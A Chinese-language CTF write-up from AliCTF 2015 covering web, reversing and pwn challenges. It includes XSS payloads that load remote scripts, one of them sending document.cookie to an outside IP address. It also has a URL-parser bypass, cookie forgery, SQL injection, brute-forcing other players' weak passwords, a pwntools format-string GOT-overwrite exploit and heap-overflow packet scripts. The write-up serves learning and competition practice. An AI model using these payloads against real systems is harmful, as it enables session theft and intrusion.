AliCTF2015 Write-ups

Team: 0372

绕过云WAF1

这题一开始大家都绕不过0。0 一个WAF等级高拦住了好多人0。0 后来看weibo一直强调的是实战渗透,所以就手抖看看alictf都有啥ip,端口,二级域名

http://video.alictf.com/c091745aab700ef918f2b5d8bc15e587.php?id=4&token=824361248489bf649dfa0657abbc3088

发现了这个二级域名和绕过云waf第一题是一样的0。0 而且这个二级域名没有waf!! 结果很明了了

img

img

前端初赛题1

简单测试了下过滤情况,发现过滤了很重要的(,),但是发现标签都没过滤(没测试完全),可以使用<script></script>,<svg>。这样针对Chrome直接在<svg>中使用html实体编码构造括号即可。构造PoC如下:

http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>document%26%2346write%26%2340String%26%2346fromCharCode%26%234060,115,99,114,105,112,116,32,120,108,105,110,107,58,104,114,101,102,61,104,116,116,112,58,47,47,116,46,99,110,47,82,65,85,113,52,112,69,62,60,47,115,99,114,105,112,116,62%26%2341%26%2341</script>

前端初赛题3

从源码看到会使用JS来解析访问的Url,并最终会调用$.getScript(url)来获取最终访问的资源链接,其中关键代码部分为:

URL.prototype.validate = function(){
  this.parse();

  if(this.illegal) return;
  //validate scheme
  if(this.scheme != 'http' && this.scheme != 'https'){
    this.illegal = true;
    return;
  }
  if(this.username && this.username.indexOf('\\') > -1){
    this.illegal = true;
    return;
  }
  if(this.password && this.password.indexOf('\\') > -1){
    this.illegal = true;
    return;
  }
  if(this.authority != 'notexist.example.com'){
    this.illegal = true;
    return;
  }
}

为了使最终url.validate()返回true,这里使用《白帽子讲Web安全》中讲到的Url跳转trick来达到目的:

http://ef4c3e7556641f00.alictf.com/xss.php?http://1111:1111@notexist.example.com:@is.gd/ntWLsc

JS中解析结果为:

schema: "http"
username: "1111"
password: "1111"
authority: "notexist.example.com"
port: "@is.gd"
path: "/ntWLsc"
...

但其实利用Url跳转trick访问http://1111:1111@notexist.example.com:@is.gd/ntWLsc会跳转到is.gd/ntWLSc,所以Got it。

前端初赛题2

这是一道flash相关的XSS,将swf.swf反编译后,发现只需要使得最终处理使得_loc1_.debug仍然存在就可以依靠ExternalInterface.call()进行XSS:

public function swf()
{
   var _loc3_:* = undefined;
   var _loc4_:* = undefined;
   super();
   var _loc1_:* = root.loaderInfo.parameters;  // 解析 Url 中的参数
   var _loc2_:* = root.loaderInfo.url.indexOf("?");
   if(_loc2_ !== -1)
   {
      _loc3_ = this.parseStr(root.loaderInfo.url.substr(_loc2_ + 1));  // 使用自定义函数解析 Url 中的参数
      for(_loc4_ in _loc1_)
      {
         // 若 _loc1_ 中的字段在_loc3_中存在,则从 _loc1_ 中删除
         if(_loc3_.hasOwnProperty(this.trim(_loc4_)))
         {
            delete _loc1_[_loc4_];
            true;
         }
      }
   }
   ExternalInterface.call("console.debug",_loc1_.debug);  // _loc1_.debug 构造处
}

这里再来看看parseStr()函数:

public function parseStr(param1:String) : Object
{
   var _loc6_:Array = null;
   var _loc2_:Object = {};
   var param1:String = unescape(param1).replace(new RegExp("\\+","g")," ");
   var _loc3_:Array = param1.split("&");
   if(!_loc3_.length)
   {
      return {};
   }
   var _loc4_:uint = 0;
   var _loc5_:uint = _loc3_.length;
   while(_loc4_ < _loc5_)
   {
      _loc6_ = _loc3_[_loc4_].split("=");
      if(_loc6_.length)
      {
         _loc2_[this.trim(_loc6_[0])] = this.trim(_loc6_[1]);
      }
      _loc4_++;
   }
   return _loc2_;
}

这里注意到unescape()函数,这里如果我们的Url中有%41这种UrlEncode过后的字符,该函数会自动解析为A,但是像%%41这种,unescape()解析后会得到%A,但是通过root.loaderInfo.parameters;得到的只会是41,利用这一点就可以构造出debugloc1而不再loc3中,最终控制loc1.debug的值。

ExternalInterface.call()的利用参考乌云上的文章-常见Flash XSS攻击方式,最终构造出的PoC如下:

http://8dd25e24b4f65229.alictf.com/swf.swf?h=1111111&%%d%%e%%b%%u%%g%%=1111\%22),al)}catch(e){eval(String.fromCharCode(108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,48,51,46,50,50,52,46,56,50,46,49,53,56,58,56,48,48,48,47,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))}//

简单业务逻辑

这个题目其实很简单 一开始就想到怎么做了 但是你敢信竟然手抖了 少打了大写Orz 坑了一下午。。>....<

注册的时候 只要注册一个Admin (带一个空格)然后密码随意 登录的时候使用Admin(不用空格)密码就可以登录了

img

登录后就可以进入绵羊商店了 一开始进去网页的时候有提示你 flag值1000块 在绵羊商店正好有一只羊值1000块 但是我们只有100块0。0 考的是简单的业务逻辑 也不去管其他的 直接购买一直10快的绵羊 抓一下包 发现num=1 改成num=-10000000 就能生成好多好多钱了0.0

img

简单业务逻辑2

又是业务逻辑 :(,给了个简单的页面,Artilce页面访客无法访问(又是xxxx伪造吧),看了下源码和Cookie,发现Cookie['role']是从源代码中的那段代码计算而来:

function encrypt($plain) {
  $plain = md5($plain);
  $V = md5('??????');
  //var_dump($V);
  $rnd = md5(substr(microtime(),11));

  //var_dump(substr(microtime(),11)+mt_rand(0,35));
  $cipher = '';
  for($i = 0; $i < strlen($plain); $i++) {
      $cipher .= ($plain[$i] ^ $rnd[$i]);
  }
  $cipher .= $rnd;
  $V .= strrev($V);
  //var_dump($cipher);
  for($i = 0; $i < strlen($V); $i++) {
      $cipher[$i] = ($cipher[$i] ^ $V[$i]);
  }
  //var_dump($cipher);
  //var_dump($V);
  return str_replace('=', '', base64_encode($cipher));
}
function decrypt($cipher) {
  $V = md5('??????');
  $cipher_1 = base64_decode($cipher);
  //var_dump($cipher_1);
  if (strlen($cipher_1)!=64){
  return 'xx';
  }

  $V .= strrev($V);
  $plain = $cipher_1;
  //var_dump($cipher_1);
  //var_dump($V);
  for($i = 0; $i < strlen($V); $i++) {
      $plain[$i] = ($cipher_1[$i] ^ $V[$i]);
  }
  $ran = substr($plain,32,32);
  $plain = substr($plain,0,32);
  //var_dump($plain);
  for ($i = 0; $i < strlen($ran); $i++) {
   $plain[$i] = ($plain[$i] ^ $ran[$i]);
  }
  //var_dump($plain);
  return $plain;
}

从源码中可以看到,$rnd的值跟时间有关,最后的Cookie['role']也和该值有关,然后可以通过暴力穷举出在该事件范围之内的正确的时间值t和V值,然后使用Admin重新加密伪造Cookie即可。

Cookie['role']伪造成功后,可以点击Article页面,发现多了一个Cookie['article'],是php序列化形式,测试了一下发现可以注入,但是无回现,写了个tamper发现注不出数据。最后依靠上届比赛的经验,猜想有个flag表flag字段放着flag,然后直接uunion查询搞定。

业务逻辑和渗透

一直觉得自己用的是非主流的方法啊0。0。 一开始各种想在找回密码那里绕 但是一直构造不出来正确的token的姿势 也发现了一些能重复注册的号 但是对进展毫无帮助。。 后来发现做出的队伍很多 觉得其他人可能已经能成功找回密码了 所以上Burpsuite爆破 成功跑出了一些人留下来的弱口令

img

登录进去提示异地登录 看了下网站根目录下的a.php(phpinfo 被这个phpinfo误导了!!)里的server ip 用xff client-ip X-Real-IP都尝试过 毫无办法0。0 后来又尝试了济南的各种 运营商的伪造ip都失败。。0。0 最后面想到了代理 于是去找了一个免费济南http代理 61.156.3.166:80 成功get flag

img

cake

直接将apk文件拖到jeb中,tab键后能看到关键算法,写出py跟着跑一遍:

#!/usr/bin/env python
v2 = [0, 3, 13, 19, 85, 5, 15, 78, 22, 7, 7, 68, 14, 37, 15, 42]
a = []
#pay = list("bobbydylan")
pay = list("bobdylan")
leng = pay.__len__()

for i in range(0,16):
    a.append(chr(v2[i]^ord(pay[i%leng])))
print ''.join(a)

密码宝宝

UPX的壳,先用工具脱壳之。丢到32位xp下用OD加载程序。bp GetWindowsTextA下断。ALT+F9执行到改call的ret处。退出这个call后对调用GetWindowsTextA处下断点,再输入一次密码,看传入参数,跟随输入值保存的堆栈位置。

F8步过而后对输入值下内存访问断点。F9运行到cmp处:

右键跟随段地址,得到FLAG。(PS:写wp时调试得到的FLAG和我提交的不同)

谁偷了你的站内短信

拖到IDA,Shift+F12看到flag字样,跟过去到print_flag函数:

; int print_flag()
public print_flag
print_flag proc near

buf= byte ptr -2Dh
fp= dword ptr -0Ch

push    ebp
mov     ebp, esp
sub     esp, 48h
mov     dword ptr [esp+4], offset modes ; "r"
mov     dword ptr [esp], offset filename ; "./flag"
call    _fopen
mov     [ebp+fp], eax
mov     eax, [ebp+fp]
mov     [esp+0Ch], eax  ; stream
mov     dword ptr [esp+8], 1 ; n
mov     dword ptr [esp+4], 20h ; size
lea     eax, [ebp+buf]
mov     [esp], eax      ; ptr
call    _fread
mov     [ebp+buf+20h], 0
lea     eax, [ebp+buf]
mov     [esp+4], eax
mov     dword ptr [esp], offset format ; "GXGX:)\nFlag:%s\n"
call    _printf

这个函数是用来读flag并print出来的。而且,没有任何跳转,意味着,溢出后跳转到这里就行,不需要写shellcode了。怎么让它跳转过去呢?

程序中有个send_mail函数,有段是张这个样子的:

push    ebp
mov     ebp, esp
sub     esp, 0F8h
mov     dword ptr [esp], offset aSendMail ; "Send Mail"
call    _puts
mov     eax, [ebp+from]
mov     [esp+4], eax
mov     dword ptr [esp], offset aFromS ; "From: %s\n"
call    _printf
mov     dword ptr [esp], offset aTo ; "To:"
call    _printf
mov     dword ptr [esp+4], 1Eh ; a2
mov     eax, [ebp+to]
mov     [esp], eax      ; a1
call    get_input
mov     dword ptr [esp], offset aTo ; "To:"
call    _printf
mov     eax, [ebp+to]
mov     [esp], eax      ; format
call    _printf
mov     dword ptr [esp], 0Ah ; c
call    _putchar
mov     dword ptr [esp], offset aTitle ; "Title:"
call    _printf
mov     dword ptr [esp+4], 0FFh ; a2
mov     eax, [ebp+title]
mov     [esp], eax      ; a1
call    get_input
mov     dword ptr [esp], offset aTitle ; "Title:"

直接调用printf,来打印输入内容,意味着,可以格式化字符串攻击。翻了翻,发现没多少可控地址在栈上,输入的内容也都是放到malloc上去了。后来发现了个ebp的链表。通过两次写ebp可以控制进行覆盖。然后,那会儿一直在想办法控制ret地址。gdb成功了,可本地没成功,才意识到自己gdb是aslr off的。浪费了好长时间。后来又看到

Again:                  ; "Input Your Name:"
mov     dword ptr [esp], offset aInputYourName
call    _printf
mov     dword ptr [esp+4], 0Ch ; a2
lea     eax, [esp+30h]
mov     [esp], eax      ; a1
call    get_input

发现name是放到栈上的,用name控制要写入的地址。exp如下:

#!/usr/bin/python
from pwn import *
from pwnlib.log import *
import sys

ip = "exploit.alictf.com"
port = 5585

context(os='linux',arch='i386',log_level=20)

e = ELF('./exploit')
got_exit = e.got['exit']

p_flag = 0x08048BBD

r = remote(ip, port)
#r = process('./exploit')

name = got_exit
pay1 = '%' + str(p_flag) + 'x%76$n'
print pay1

def wel():
    print r.recv(4096)
    r.send('1\n')

    print r.recv(4096)
    r.send(p32(name) + '\n')

    print r.recv(4096)
    r.send('1111\n')

    print r.recv(4096)
    r.send('2\n')

    print r.recv(4096)
    r.send(p32(name) +'\n')

    print r.recv(4096)
    r.send('1111\n')

    print r.recv(4096)
    r.send('3\n')

    print r.recv(4096)
    r.send(pay1 + '\n')
    r.interactive()
    print r.recvuntil('5 Quit')
    r.send('5\n')

    print r.recvuntil("GXGX:)\n")
    print r.recv(4096)
wel()

代码血案

跟去年一样的题目,给了个cpp去触发异常。

先想办法把让它编译通过吧。g++发现,有两个库没有,先apt-get install一个libevent,然后再装一个zlog。完了后输入:

g++ -levent -lzlog -g rpc_server.cpp -o rpc_server

编译得到rpcserver,运行提示啥配置不对,创建了个/rpcserver/,touch几个文件,就可以运行了。

看源码发现:

char len = req.len;
if(len < 0)
    len = -len;
if((buffer = (char*)malloc(len + SAFE_SPACE_LEN)) == NULL){
    char *message = "Malloc Error.";
    return create_response(strlen(message),message);
}

这里考了个源码补码的问题:正数的反码和原码相同,负数的反码是原码除了符号位,其余为都取反。-128的原码:1 1000 0000 ,9位,最高位符号位,再算它的反码:1 0111 1111,进而,补码为: 1 1000 0000,这是-128的补码,但是在char 型中,是可以用1000 000 表示-128的,关键在于char是8位,它把-128的最高位符号位1 丢弃了,所以才可以用-0 表示-128。

那这里len = -len。也就不会变。申请到的空间会是SAFESPACELEN - len的大小。而在readlog函数中,下面这段代码:

char l = len;
do{
    response[l] = filecontent[pos + l];
    l--;
}while(l >= 0);

会将l当0x80来执行,往response也就是刚开辟的空间中写入128字节。从而造成堆溢出,将其后面开辟的filecontent对应的指针重写了,然后在free(filecontent),造成异常。

当然,要走到这一步,前面得构造特定的数据包来实现:

exp如下:

先写log文件,WriteLog.py:

#WriteLog.py
import binascii
import struct
from pwn import *

e = ELF('./rpc_server')
p = remote('127.0.0.1', 30000)
#p = remote('88bytes.alictf.com', 30000)
###writefile

len_str1_str = "a" * 127 + '\x00'
len_str1_len = chr(len(len_str1_str) - 1)
len_str2_str = "A" * 127 + '\x00'
len_str2_len = chr(len(len_str2_str) - 1)

secrekey     = 'c4852c70e15addcf098324558d8529ca87153eb6e5aca3e6\x00\x00\x00' #c4852c70e15addcf098324558d8529ca87153eb6e5aca3e6
lenth        = chr(0) #chr(len(secrekey))
pad          = chr(0)+chr(0)
pos          = struct.pack('I', 0)
logRequest   = struct.pack('I', 1)

data        = ''
data        = len_str1_len + len_str1_str + len_str2_len + len_str2_str + pad + pos + lenth + secrekey + logRequest
token       = '6be35178ac9258d855423890fcdda51e'
len_token   = len(token)
function_id = '\x00'
len_data    = struct.pack('>I', len(data))
packet1     = ''
packet1     = p8(len_token) + token + function_id + len_data + data

print list(packet1)
p.send(packet1)
print p.recv(4096)

再读log文件ReadLog.py

#ReadLog.py
import binascii
import struct
from pwn import *

e = ELF('./rpc_server')
p = remote('127.0.0.1', 30000)
#p = remote('88bytes.alictf.com', 30000)

len_str1_str1 = '\x00'*128
len_str1_len1 = chr(0)
len_str2_str1 = '\x00'*128
len_str2_len1 = chr(0)

secrekey1     = 'c4852c70e15addcf098324558d8529ca87153eb6e5aca3e6\x00\x00\x00' #c4852c70e15addcf098324558d8529ca87153eb6e5aca3e6
lenth1        = chr(0x80) #chr(len(secrekey))
pad1          = chr(0)+chr(0)
pos1          = struct.pack('I', 0x01FF)
logRequest1   = struct.pack('I', 1)

data1        = ''
data1        = len_str1_len1 + len_str1_str1 + len_str2_len1 + len_str2_str1 + pad1 + pos1 + lenth1 + secrekey1 + logRequest1

token1       = '6be35178ac9258d855423890fcdda51e'
len_token1   = len(token1)
function_id1 = chr(6)
len_data1    = struct.pack('>I', len(data1))
packet2      = ''

packet2      = p8(len_token1) + token1 + function_id1 + len_data1 + data1

print list(packet2)
p.send(packet2)
print p.recv(4096)